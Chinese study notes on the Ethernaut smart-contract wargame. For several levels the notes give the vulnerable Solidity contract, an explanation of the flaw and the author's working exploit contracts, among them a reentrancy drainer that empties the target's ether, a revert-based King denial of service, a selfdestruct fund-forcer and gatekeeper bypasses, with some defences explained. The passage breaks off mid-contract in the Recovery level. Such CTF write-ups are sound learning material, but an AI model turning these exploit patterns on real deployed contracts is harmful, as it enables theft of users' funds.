Ethernaut 学习记

Hello Ethernaut

使用浏览器完成操作

(索引)
player ‘当前玩家地址’
ethernaut ‘主游戏合约’
level ‘当前关卡合约地址’
contract ‘当前关卡合约实例 (如果已创建)’
instance ‘当前关卡合约实例地址 (如果已创建)’
version ‘当前游戏版本’
getBalance(address) ‘获知地址可用ether数’
getBlockNumber() ‘获取当前网络区块数’
sendTransaction({options}) ‘发送交易到’
getNetworkId() ‘获得以太网id’
toWei(ether) ‘从ether转换到wei’
fromWei(wei) ‘从wei转换到ether’
deployAllContracts() ‘Deploy all the remaining contracts on the current network.’

fallback

fallback方法:
fallback是特殊的函数,无参数,无返回值
何时会被调用:
1. 当被调用的方法不存在时,fallback会被调用,属于default函数;
2. 当向合约转ether但是合约不存在receive函数时;
3. 当向合约转ether但是msg.data不为空时。(即使receive存在)
当使用transfer或者send对合约进行转账时,fallback函数的gaslimit限定为2300 gas

题目合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;



contract Fallback {

    mapping(address => uint256) public contributions;

    address public owner;



    constructor() {

        owner = msg.sender;

        contributions[msg.sender] = 1000 * (1 ether);

    }



    modifier onlyOwner() {

        require(msg.sender == owner, "caller is not the owner");

        _;

    }



    function contribute() public payable {

        require(msg.value < 0.001 ether);

        contributions[msg.sender] += msg.value;

        if (contributions[msg.sender] > contributions[owner]) {

            owner = msg.sender;

        }

    }



    function getContribution() public view returns (uint256) {

        return contributions[msg.sender];

    }



    function withdraw() public onlyOwner {

        payable(owner).transfer(address(this).balance);

    }



    receive() external payable {

        require(msg.value > 0 && contributions[msg.sender] > 0);

        owner = msg.sender;

    }

}

主要思路:先使用contribute转入1 wei,使得当前contributions大于0,然后直接向合约转账,就会触发receive函数,导致我们变成owner,然后调用withdraw就可以转走钱

Telephone

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;



interface tar {

    function changeOwner(address _owner) external;

}



contract Telephone {

    function exp(address target) public {

        tar Exptarget = tar(target);

        Exptarget.changeOwner(address(0x038405665520AC945D26eB7936ffe0115B2f2BBd));

    }

}

关键点:
tx.orgin是一条调用链的发起者,msg.sender是调用者,例如Bob使用合约A访问合约B,那么tx.origin则是Bob,msg.sender则是合约A

Token

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;



contract Token {

    mapping(address => uint256) balances;

    uint256 public totalSupply;



    constructor(uint256 _initialSupply) public {

        balances[msg.sender] = totalSupply = _initialSupply;

    }



    function transfer(address _to, uint256 _value) public returns (bool) {

        require(balances[msg.sender] - _value >= 0);

        balances[msg.sender] -= _value;

        balances[_to] += _value;

        return true;

    }



    function balanceOf(address _owner) public view returns (uint256 balance) {

        return balances[_owner];

    }

}

由于在0.6.0的solidity中,加减法不检查溢出/下溢,所以 require(balances[msg.sender] - _value >= 0); 这里永远都不会生效,当减去一个大的值也会大于0,因为uint256永远是大于0的

只需要transfer一个大于本身的值即可获得更多的token

Delegation

solidity中delegatacall的使用:

https://learnblockchain.cn/article/8505

delegatecall(委托调用)是一个低级别的函数,允许我们在主合约的上下文的情况下加载和调用另一个合约的代码,。意味着被调用合约的代码被执行,但是被调用合约所做的任何状态改变实际上是在主合约的存储中进行,而不是被调用合约的存储

应用:
1. **可升级合约**:通过代理合约和实现合约的组合,可以实现合约的升级。代理合约保持不变,而实现合约可以被替换,从而实现代码的更新而无需改变代理合约的地址。

2. **代码复用**:使用 `delegatecall` 可以实现代码的复用,多个合约可以共享相同的实现逻辑,而不需要重复代码。

3. **模块化设计**:通过 `delegatecall` 可以实现模块化合约设计,将不同的功能实现分离到不同的合约中,提高代码的可维护性和可读性。

fallback方法

fallback是特殊的函数,无参数,无返回值

何时会被调用:

  1. 当被调用的方法不存在时,fallback会被调用,属于default函数;
  2. 当向合约转ether但是合约不存在receive函数时;
  3. 当向合约转ether但是msg.data不为空时。(即使receive存在)

EVM的storage的存储方式

EVM的storage是按合约隔离的

以太坊合约的 storage 可以理解为一个键值表

  • key:uint256,(通常说的slot编号)
  • value:bytes32(32字节)

所以合约的storage数据本质上是这样:

1
2
3
4
storage[0] = 0x...
storage[1] = 0x...
storage[2] = 0x...
...

在solidity中写的状态变量,会被编译器按规则顺序放在这些slot里面

规则:

  • 状态变量按声明顺序,从slot0开始依次存储
  • 每个slot 32bytes
  • 小于32bytes的变量可能会打包到同一个slot,但只要 slot 还有空间并且类型允许

题目合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;



contract Delegate {

    address public owner;



    constructor(address _owner) {

        owner = _owner;

    }



    function pwn() public {

        owner = msg.sender;

    }

}



contract Delegation {

    address public owner;

    Delegate delegate;



    constructor(address _delegateAddress) {

        delegate = Delegate(_delegateAddress);

        owner = msg.sender;

    }



    fallback() external {

        (bool result,) = address(delegate).delegatecall(msg.data);

        if (result) {

            this;

        }

    }

}

由于delegatecall执行的是被调用合约的代码,但读写的是调用者合约的storage。由于两个合约的第一个状态变量都是owner,这就表示他们的owner都在storage slot 0

Force

题目要求是向这个合约内转钱,但是这个合约什么也没写,空合约,可以使用selfdestruct函数强制将合约剩余eth转入到指定地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;



contract exp {

    function attack() public payable {

        address payable target = payable(0x2BAB81f9c2641023DD21a011bE5E1aDb2c5873F3);

        selfdestruct(target);

    }



    receive() external payable { }

}

Vault

private并非安全的,在链上,所有数据都可以看到的

image.png

如何在交易数据中找到需要?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;



contract Vault {

    bool public locked;

    bytes32 private password;



    constructor(bytes32 _password) {

        locked = true;

        password = _password;

    }



    function unlock(bytes32 _password) public {

        if (password == _password) {

            locked = false;

        }

    }

}

部署交易的input data = 创建字节码 + 构造函数参数ABI编码
构造函数参数通常就在input data的最后面。对于 bytes32 这种“固定 32 字节”的参数,就是最后 32 字节(64 个 hex)

更通用的规则(以后遇到别的类型怎么定位)

固定长度类型(好定位)

  • bytes32 / uint256 / address(会左填充到32字节) 都是 32 字节一槽

  • constructor 参数全是固定长度时:
    从末尾按 32 字节一段往前切,按参数顺序反推

例:

  • constructor(uint256 a, bytes32 b)
    末尾最后 32 bytes 是 b,再往前 32 bytes 是 a

动态类型(麻烦一点)

比如 string / bytes / uint[]

  • ABI 编码会先放 offset(偏移)

  • 真正内容在后面某个位置

  • 这种用“数最后 32 字节”就不一定直接命中内容,需要按 ABI offset 解

最稳的一键方法(不手拆)

如果你用 ethers v6,可以直接用 ABI 解码 constructor 参数:

  • 你知道 constructor types:["bytes32"]

  • 把 input data 里 去掉 creation bytecode 部分 比较麻烦(因为不知道 bytecode 长度)

  • 通常更快的做法是:直接读 storage slot 1

  • 使用rpc直接读合约的slot1:

1
2
3
4
await web3.eth.getStorageAt(
"0x5af8de67D6984495904cECc5D80D5DF65B0Fe865",
1
)

King

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;



contract King {

    address king;

    uint256 public prize;

    address public owner;



    constructor() payable {

        owner = msg.sender;

        king = msg.sender;

        prize = msg.value;

    }



    receive() external payable {

        require(msg.value >= prize || msg.sender == owner);

        payable(king).transfer(msg.value);

        king = msg.sender;

        prize = msg.value;

    }



    function _king() public view returns (address) {

        return king;

    }

}

关键理解点:需要让后来的人无法成为新的king,我一开始想的市利用溢出或者特殊值使得pirze无限大,任何人不可超越,后来发现不是这样的,当transfer函数发生错误的时候,交易执行失败就会发生回滚。

当我们构造一个合约,使用合约做这个king,但是receive函数(默认的收币函数)里面写一个revert使得transfer不能正常进行导致交易回滚,任何人都不能称为新的king,就会导致游戏死掉

exp合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;



contract exp {



    constructor(address payable target) payable {

       (bool ok, ) = target.call{value: msg.value}("");

       require(ok, "Failed");

    }



    receive() external payable {

        revert();

    }

}

真实案例:
https://www.kingoftheether.com/thrones/kingoftheether/index.html
https://www.kingoftheether.com/postmortem.html

Re-entrancy

什么是bubbling(冒泡)?

当下层函数出错,错误一路向上,直到被捕获(handled)或者直接把整个交易revert

在EVM中常见的三种调用

  1. transfer/send:自动bubbling
  2. call:默认不bulling
    错误不会自动冒泡,revert只会变成ok == false
  • 抛出bubbling = 主动抛出错误 -> 使用require检查ok的值
  • 阻断bubbling:被调用合约revert了,但是当前函数不revert,继续执行,外层合约完全不知道出错

题目合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// SPDX-License-Identifier: MIT

pragma solidity ^0.6.12;



import "openzeppelin-contracts-06/math/SafeMath.sol";



contract Reentrance {

    using SafeMath for uint256;



    mapping(address => uint256) public balances;



    function donate(address _to) public payable {

        balances[_to] = balances[_to].add(msg.value);

    }



    function balanceOf(address _who) public view returns (uint256 balance) {

        return balances[_who];

    }



    function withdraw(uint256 _amount) public {

        if (balances[msg.sender] >= _amount) {

            (bool result,) = msg.sender.call{value: _amount}("");

            if (result) {

                _amount;

            }

            balances[msg.sender] -= _amount;

        }

    }



    receive() external payable {}

}

思路:

withdraw函数中,使用了call函数打款,但是检查到返回值为false也没有revert,重入攻击:在receive里面递归调用withdraw函数,因为一直没有退出这个函数,就可以无限提钱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;



interface tar {

    function balanceOf(address _who) external  view returns (uint256 balance);

    function donate(address _to) external payable;

    function withdraw(uint256 _amount) external;

}



contract exp {

    tar target = tar(0xECe719c9ce58D03F37fF182E0D74e389294391b0);



    function donate() public payable {

        target.donate{value: 1 wei}(address(this));

    }



    function withdraw(uint256 _amount) public {

        target.withdraw(_amount);

    }



    function balanceOf(address _who) public view returns (uint256 balance) {

        return target.balanceOf(_who);

    }



    receive() external payable {

        if(address(target).balance >= 1) {

            target.withdraw(1);

        }

        else {



        }

    }



}

于是目标合约里的slot1变成了0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd8,发生了下溢
于是我就可以无限提现了
image.png

于是直接提走目标合约所有的钱

image.png

但是这个方法并非我本意,而是碰巧做到这样了,本来是想利用递归无限(实际最多1024层)提钱,但是似乎由于gas费限制导致交易终止了

除了利用溢出的方法,我想使用递归的方法完成,当达到gas上限就会被终止,如果是在0.8版本就无法使用,可以通过

  1. 多笔交易提现(每次50层)【多此一举】
  2. 提高每次重入的提款额

安全问题

为了防止重入攻击,使用Checks-Effects-Interactions pattern。注意call只会返回false而不会中断不会revert执行流

也有一些其他用来防治重入攻击的库:

transfer固定只给2300 gas,2300gas不足以重入,以前被认为是防重入的安全转账,但是如果一个fallback/receive的最小逻辑能够在 2300gas 下完成也会造成重入

lstanbul硬分支(2019年):提高了某些EVM指令的gas成本(例如SLOAD、BALANCE等)
以前2300 gas勉强能够完成的时候,lstanbul之后可能会导致正常合约失效,收不到transfer的钱,发生OOG(Out Of Gas)

所以现在不在建议使用transfer和send

但是call不会出现这个问题,因为具有特性:不限制gas,默认转发剩余gas

当前版本下正确姿势:使用call + 防御(配合防御库)

1
2
(bool ok,) = to.call{value: amount}("");
require(ok, "ETH transfer failed");

send 与 transfer 与 call 对照:

image.png

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
// SPDX-License-Identifier: MIT



pragma solidity ^0.8.13;



interface Tar {

    function donate(address _to) external payable;

    function balanceOf(address _who) external view returns (uint);

    function withdraw(uint256 _amount) external;

}



event Balance(uint256 bal);



contract Exp {

    Tar target = Tar(address(0x53D644940cA6D60cF8874977fc7C6c0137461e94));



    constructor() payable {}



    function attack() public {

        target.donate{value: 0.01 ether}(address(this));

        emit Balance(target.balanceOf(address(this)));

        target.withdraw(0.001 ether);

        emit Balance(target.balanceOf(address(this)));

    }



    function win() public payable {

        address(0x038405665520AC945D26eB7936ffe0115B2f2BBd).call{

            value: address(this).balance

        }("");

    }



    receive() external payable {

        // 获取目标合约当前真实余额

        uint256 targetBalance = address(target).balance;



        // 只要还有钱,就继续提

        if (targetBalance > 0) {

            uint256 amountToWithdraw = 0.01 ether;



            // 如果剩下的钱不够 0.001 了,就全提走

            if (targetBalance < amountToWithdraw) {

                amountToWithdraw = targetBalance;

            }



            // 加上 Gas 检查防止整个交易因为 Out of Gas 失败

            if (gasleft() > 5000) {

                target.withdraw(amountToWithdraw);

            }

        }

    }

}

Elevator

从这个关卡开始,使用foundry来完成,而不再使用remix写合约攻击,主要是为了学习foundry的使用

由于还不太熟练foundry,导致每次都跑了两遍attack,卡了好一会,现在初步会用foundry了hhhh

本体的主要目的是理解接口只定义输入和输出类型,而不定义内部逻辑,切勿相信外部合约,
在使用接口的时候可以使用view/pure来防止被篡改

官方还给出了一种解法:
“完成这一关的另一个方法是构建一个 view 函数, 这个函数根据不同的输入数据返回不同的结果, 但是不更改状态, 比如 gasleft().”

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT



pragma solidity ^0.8.13;



interface tar {

    function goTo(uint256 _floor) external;

}

contract Exp {

    uint public floor = 0;

    tar target = tar(0x91D959708e2C6591e178B6b29cFf8e0F6F2d0424);

    function isLastFloor(uint256 _floor) public returns (bool) {

        floor++;

        return (floor - 1 == 1);

    }



    function attack() public {

        target.goTo(1);

    }

}

防御法:

  1. 添加view/pure修饰接口函数,防止回调方修改自身状态
1
2
3
4
interface Building {
function isLastFloor(uint256) external view returns (bool);
}

  1. 但是即使杯强制view,仍然有方法可以攻击,强制view只能限制:storage、不能交易,但是可以读取EVM上下文,如gasleft()、block.number、block.timestamp之类的。而这里就可以利用到gasleft,前面的关卡中也用到过。
  2. 因为第一次调用的时候gasleft()肯定大于第二次,可以通过gasleft让第一次false,第二次true,例如:
1
2
3
function isLastFloor(uint256) external view returns (bool) {
return gasleft() < 50000;
}
  1. 正确的防御是不要多次调用合约,将调用外部函数之后的值存储或者不要完全依赖外部函数

Privacy

storage原理

参考学习来源:https://learnblockchain.cn/article/9831

数据结构

合约存储是一个简单的key - value map结构,key为32字节、value也为32字节

每个storage可以被抽象为一个uint256 -> uint256

一个地址对应一个插槽
所有的value都会初始化为0,但是0不会显式写入(也不可能写入2^256位在计算机中)
存储区置0会返回gas,因为节点不用存储这些数据

存储位置

在solidity中,对于状态变量这样的持久化存储非常昂贵,所以我们需要尽可能合理选择数据类型减少gas成本

合约的存储位置有四种:

  • bytecode
  • memory -
  • calldata
  • storage

存储槽:合约的storage存储是以键值对的数据结构实现的,键和值的长度都是固定的32字节,其中键是一个从0开始的序号,因为是32字节,所以最大数为2^256

image.png

示例合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
contract Test {

    address public owner = 0x14729a09aCaf6D2A63dcdf7bA4aFf308FDDC360C;

    uint256 public balance = 1 ether;

    bool public isValid = true;

    uint8 public count8 = 1;

    uint32 public count32 = 1;

    uint128 public count128 = 1;

}

为了节省存储空间,EVM会把小于32字节的连续变量打包到一个存储槽中,因此,在序号为2的存储槽可以保存4个变量

image.png

当遇到变量owner时:address占用20个字节,保存到槽0

当遇到变量balance时:uint256占用32字节,槽0剩余的12字节空间不足以存储,所以占用槽1整个空间

当遇到变量isValid时:bool占用1字节,存放在槽2的最右边2位,16进制的2位是一字节(注意,先遇到的变量占据右侧位置,以此类推

当遇到变量count8时:uint8占用1字节,因为槽2的最右边2位已有数据,所以存放在右边第3、4位

以此类推,count32count128占用槽2的从右往左数第5至12位第13至44位

固定长度数组和结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
contract Test {

    // 定义结构体`Info`,不占用存储槽

    struct Info {

        uint8 id;

        uint32 value;

    }



    // 定义结构体`Account`,不占用存储槽

    struct Account {

        address player;

        uint256 score;

    }



    uint256[2] public counts = [1, 2];

    uint32[2] public ages = [1, 2];

    Info public info = Info(1, 2);

    Account public account = Account(0x14729a09aCaf6D2A63dcdf7bA4aFf308FDDC360C, 1);

}

counts依次占据0、1两个存储槽
ages由于两个uint32,加起来8字节,不足32,一起被打包到存储槽2
info结构体:1+4=5<32,一起打包到存储槽3
account:占据存储槽4

“结构体和数组完全占用一个存储槽,只有内部元素之间才会打包”

变长数据类型

当大小未知的时候,需要借助特定算法完成

  1. mapping

mapping的每个key对于一个存储槽,计算方式为:

1
keccak256(abi.encode(key, mapping_slot)) 

(keccak256:一种加密哈希函数,是以太坊里最常用的哈希算法)

mapping_slot就是这个mapping变量在合约storage layout中被分配到的编号,如数字1、2、3

1
2
3
4
5
6
7
8
9

Solidity **按声明顺序**给状态变量分配 slot:

1. 能打包的变量(< 32 字节)打包

2. 满 32 字节 → 新 slot

3. **mapping / dynamic array 一定独占一个 slot**

  1. 动态数组:

存储槽计算公式:

1
uint256(keccak256(abi.encode(`槽号`))) + `数组元素索引`
1
2
3
4
5
6
7
8
9
10
11
12
13
contract Test {
address[] public users;

function setUsers() public {
users.push(0x14729a09aCaf6D2A63dcdf7bA4aFf308FDDC360C);
users.push(0x20249A09aCAF6d2a63dCdf7bA4AFf308FDdC289A);
}

function getSlotIndex(uint256 index) public pure returns (uint256) {
return uint256(keccak256(abi.encode(0))) + index;
}
}

变量users的槽号是0,通过调用setUsers设置两个元素,之后调用getSlotIndex并传入索引0和1获得这两个元素的存储槽,再传入go语言的StorageAt方法,得到的结果就是这两个元素值。

  1. string类型

string类型的存储槽分为两种情况:

  1. <=31字节:内容+字符长度*2 一起存放在当前存储槽,因为一个槽足够,无需额外计算存储槽
  2. 大于31字节,一个槽无法存储,字符长度*2 + 1 保存在当前存储槽,利用公式计算出存储槽,内容存在以这个存储槽位开始的连续存储槽中:
1
uint256(keccak256(abi.encode(`槽号`)))

示例代码:

1
2
3
4
5
6
7
8
9
contract Test {
string public text1 = "I am less than 31 bytes";
string public text2 = "I am greater than 31 bytes, and the storage space I occupy has exceeded the maximum value that can be stored in a single storage slot";

function getSlotIndex() public pure returns (uint256) {
return uint256(keccak256(abi.encode(1)));
}
}

text1加上它的(字符长度乘以2)保存在第0个存储槽,text2超出了31字节,所以第1个存储槽只保存了(text2的字符长度乘以2加上1),调用getSlotIndex获得text2的内容存储槽,把这个存储槽之后的连续几个槽内容拼接起来就是text2的值了。

1
2
3
4
5
6
7
8
text1的长度为什么要乘以2?
因为字符用字节表示,1字节=2个十六进制位=8bit
text2长度为什么乘以2再加1?
因为为了变技术,短字符串乘以2恒为偶数,+1之后可以通过奇偶,用来与text1那种的短字符串区分

故:
偶数:短字符串
奇数:长字符串
  1. bytes类型

bytes类型与string类型的存储槽计算方法一样

如何利用存储槽来降低gas成本?

变量的冷加载:冷加载就是第一次访问一个存储槽。在同一笔交易中,后续对这个槽的所有访问都是热加载,冷加载会消耗更多的gas。因此我们可以将同意笔交易中批量访问某几个状态变量,他们总大小不超过32字节,就可以打包,以此共享冷加载成本

不过访问打包元素需要解包,如果一个变量在多个交易中需要单独访问,推荐使用uint256,这是效率最高的类型,EVM大部分操作都在uint256运行,比uint128、uint64更加高效

建议打包变量 避免打包变量(推荐uint256)
同一笔交易批量访问的变量 多个交易都要单独访问的变量
不常访问的变量 频繁访问的变量

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
contract Privacy {

    bool public locked = true;

    uint256 public ID = block.timestamp;

    uint8 private flattening = 10;

    uint8 private denomination = 255;

    uint16 private awkwardness = uint16(block.timestamp);

    bytes32[3] private data;



    constructor(bytes32[3] memory _data) {

        data = _data;

    }



    function unlock(bytes16 _key) public {

        require(_key == bytes16(data[2]));

        locked = false;

    }

根据题目合约和知识点可知,data[2]为slot5

image.png

0xec67b5a5988c91cf180b3cf4dbd65e07edac73d67bca7a0ae61515d14737352f

不过unlock函数里面用的bytes16传入,截断前32位即可

image.png

为什么bytes16转换是截断bytes32的前32位(高16字节)?

因为solidity中,bytes是左对齐类型
| b0 | b1 | b2 | ... | b31 |
↑
最高位(MSB)

image.png

而在uint类型上却出现了这种结果:
image.png

转换:

  1. 数学计算公式:
1
uint16(num) == num mod 2^16

也就是:

  • 只有当 num 能被 65536 整除

  • 低 16 位才会全部是 0

  • 结果才会是 0

  1. 用十六进制转换

Gatekeeper One

这道题就跟上面的一点点有些关系,感觉是在考察uint的转换关系,在remix中调试测试

image.png

直接用tx.orgin的最后四位hex能通过1、3

第二个,要求在低64位被截断后值不一样
0x1000000000002BBD即可

gateTwo:

1
modifier gateTwo() { require(gasleft() % 8191 == 0); \_; }

直接尝试爆破解决

其他没什么多说的,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
  

contract Test {

    function test(address _target) public returns (bool) {

        bytes8 key = 0x1000000000002BBD;



        for (uint256 i = 0; i < 8191; i++) {

            (bool ok, ) = _target.call{gas: 8191 * 3 + i}(

                abi.encodeWithSignature("enter(bytes8)", key)

            ); // 满足基础gas需求 8191*3

            if (ok) return true;

        }

        return false;

    }

}

GateKeeper Two

assembly

[[Solidity Assembly]]
EVM Codes - An Ethereum Virtual Machine Opcodes Interactive Reference

原生vanilla solidity功能:solidity语法+EVM
非原生vanilla solidity功能:通过assembly/库/约定/技巧模拟实现

非原生的vanilla solidity功能就是通过EVM汇编等方法实现solidity没有提供的功能

常见 assembly builtin 对照表:

Assembly Opcode 用途
caller() CALLER msg.sender
origin() ORIGIN tx.origin
gas() GAS gasleft
extcodesize(a) EXTCODESIZE 合约是否已部署
calldatasize() CALLDATASIZE calldata 长度
calldataload(p) CALLDATALOAD 读 calldata
sload(slot) SLOAD 读 storage
sstore(slot,v) SSTORE 写 storage
keccak256(p, n) KECCAK256 哈希

题目合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

    address public entrant;

    modifier gateOne() {

        require(msg.sender != tx.origin);

        _;

    }

    modifier gateTwo() {

        uint256 x;

        assembly {

            x := extcodesize(caller())

        }

        require(x == 0);

        _;

    }

    modifier gateThree(bytes8 _gateKey) {

        require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);

        _;

    }
    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {

        entrant = tx.origin;

        return true;

    }

}

gateOne:使用中间合约调用即可通过
gateTwo:
caller()对于就是msg.sender
image.png
所以gateTwo就是要求msg.sender的代码为0,要么就是EOA地址,要么可以是在还在构造函数
gateThree:
需要构造一个值,msg.sender是合约的值,gatekey是输入的值,^之后等于18446744073709551615
可以使用bytes8(address(this) ^ 18446744073709551615)

这里不得不提到EVM的生命周期:
因为学到这个位置我在想什么时候开始能获取到当前合约地址
1️⃣ 计算合约地址
2️⃣ 分配该地址
3️⃣ 执行 constructor(此时 address(this) 已确定)
4️⃣ constructor 返回 runtime bytecode
5️⃣ 将 runtime code 写入该地址

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.13;



contract Exp {





    constructor() {

        address target = 0x8e389A0DD64E209CDb6CBBa87D436a77cf5C0f3a;

        bytes8 _gateKey = bytes8(

            uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max

        );

        (bool ok, ) = target.call(abi.encodeWithSignature("enter(bytes8)", _gateKey));

    }




}

Naught Coin

一个对ERC20代币的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;



import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";



contract NaughtCoin is ERC20 {

    // string public constant name = 'NaughtCoin';

    // string public constant symbol = '0x0';

    // uint public constant decimals = 18;

    uint256 public timeLock = block.timestamp + 10 * 365 days;

    uint256 public INITIAL_SUPPLY;

    address public player;



    constructor(address _player) ERC20("NaughtCoin", "0x0") {

        player = _player;

        INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));

        // _totalSupply = INITIAL_SUPPLY;

        // _balances[player] = INITIAL_SUPPLY;

        _mint(player, INITIAL_SUPPLY);

        emit Transfer(address(0), player, INITIAL_SUPPLY);

    }



    function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {

        super.transfer(_to, _value);

    }



    // Prevent the initial owner from transferring tokens until the timelock has passed

    modifier lockTokens() {

        if (msg.sender == player) {

            require(block.timestamp > timeLock);

            _;

        } else {

            _;

        }

    }

}

题目合约继承了ERC20合约,并且给transfer加了限制,必须要等到10年后才能操作余额,但是并没有限制其他函数的作用,例如transferFrom之类的并没有限制

先使用approve授权第二个地址使用token,然后使用transferFrom转移

说明了我们在继承合约的时候需要关注所有导入包 (或者导入包的导入包) 的权限问题!

Preservation

再次回顾solidity docs中关于delegatecall的描述

Delegatecall and Libraries

There exists a special variant of a message call, named delegatecall which is identical to a message >call apart from the fact that the code at the target address is executed in the context (i.e. at the >address) of the calling contract and msg.sender and msg.value do not change their values.

This means that a contract can dynamically load code from a different address at runtime. Storage, >current address and balance still refer to the calling contract, only the code is taken from the >called address.
This makes it possible to implement the “library” feature in Solidity: Reusable library code that can >be applied to a contract’s storage, e.g. in order to implement a complex data structure.

delegatecall会直接在当前上下文运行目标代码,变量必须相同顺序定义,否则就会出现非预期修改

写一个合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.13;



contract Exp {

    address public time1;

    address public time2;

    address public owner;



    function setTime(uint256 _time) public {

        owner = 【My address】;

    }



}

然后调用setFirstTime,就会把使得第一个timeZoneLibrary被修改为提交的_time,于是我们把上面的合约地址,就会把timeZoneLibrary修改为我们构造的合约,然后直接就可以写owner的值

这个例子告诉我们对于有自己状态变量的合约的调用一定要慎之又慎,同时说明了为什么要使用library关键字构件库因为它可以防止库存储和访问状态变量。

Library库

库是一种特殊的智能合约,用于封装可复用的逻辑和功能,库和智能合约的区别在于库合约不能保存状态变量也不能接收ETH,可以被其他合约调用减少代码冗余,提升开发效率,通过delegatecall调用库逻辑(内部库无需)

using for语法糖:可以将库函数附加到基础类型,调用更加简洁

1
2
3
4
5
6
7
8
contract Example {
using Math for uint256;

function compute(uint256 a, uint256 b) public pure returns (uint256) {
return a.add(b); // 等同于 Math.add(a, b)
}
}

作用域:

  • 文件级:影响整个文件
  • 合约级:仅限当前合约

Recovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;



contract Recovery {

    //generate tokens

    function generateToken(string memory _name, uint256 _initialSupply) public {

        new SimpleToken(_name, msg.sender, _initialSupply);

    }

}



contract SimpleToken {

    string public name;

    mapping(address => uint256) public balances;



    // constructor

    constructor(string memory _name, address _creator, uint256 _initialSupply) {

        name = _name;

        balances[_creator] = _initialSupply;

    }



    // collect ether in return for tokens

    receive() external payable {

        balances[msg.sender] = msg.value * 10;

    }



    // allow transfers of tokens

    function transfer(address _to, uint256 _amount) public {

        require(balances[msg.sender] >= _amount);

